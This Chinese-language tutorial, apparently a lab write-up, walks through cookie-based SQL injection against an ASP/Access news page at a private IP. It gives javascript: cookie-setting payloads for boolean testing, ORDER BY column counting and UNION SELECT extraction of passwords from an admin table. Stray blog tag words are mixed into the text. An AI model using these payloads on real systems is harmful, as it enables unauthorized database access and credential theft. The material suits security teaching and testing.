Cookie注入

Cookie注入

以ACCESS数据库为例;其余数据库用相应的注入语句就能够javascript

Cookie注入的目的

主要是为了绕过程序员在get、post等传参处作的一些过滤。java

如何Cookie注入

目标站点:
192.168.74.136:8009/shownews.asp?id=26
在进行get注入时发现过滤关键字,尝试Cookie注入
程序员

  1. 刷新须要注入的当前网页,清空地址栏并输入
javascript:alert(document.cookie="id="+escape("27"));

  1. 点击回车,发现弹窗以下:
    数据库

  2. 点击页面上出现的肯定框。    cookie

  3. 验证是否改好了cookie:
    如今更改好了cookie后咱们就要试下能不能正常访问了,如今在另一个窗口中咱们打开如下地址:
    http://192.168.74.136:8009/shownews.asp?
    既是将“id=27”去掉后的URL,而后看是否能正常访问。
    post

  4. 可见访问以后的页面与访问 http://192.168.74.136:8009/shownews.asp?id=27 的时候是同样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。如今说明cookie处是有可能存在注入的,接下来咱们测试下可否提交特殊字符,看程序是否对数据进行过滤。测试

判断是否存在过滤

回到刚才更改cookie的页面,而后在地址栏处填写code

javascript:alert(document.cookie="id="+escape("27 and 1=1"));

回车后再去http://192.168.74.136:8009/shownews.asp?页面刷新,看页面是否正常。
若是正常咱们再提交对象

javascript:alert(document.cookie="id="+escape("27 and 1=2"));

而后再去刷新,这个时候就会看见出错了,说明能够注入,且不存在过滤。blog

获取字段总数

javascript:alert(document.cookie="id="+escape("27 order by 1"));  
刷新 http://192.168.74.136:8009/shownews.asp?  界面 ,返回正常

javascript:alert(document.cookie="id="+escape("27 order by 11"));
刷新 http://192.168.74.136:8009/shownews.asp?  界面 ,返回正常

javascript:alert(document.cookie="id="+escape("27 order by 12"));
刷新 http://192.168.74.136:8009/shownews.asp?  界面 ,返回错误
说明字段数是 11

猜解表名

javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from 表名"));

javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from admin"));

猜解列名

javascript:alert(document.cookie="id="+escape("27 union select 1,列名,3,4,5,6,7,8,9,10,11 from 表名"));

javascript:alert(document.cookie="id="+escape("27 union select 1,password,3,4,5,6,7,8,9,10,11 from admin"));
相关文章
相关标签/搜索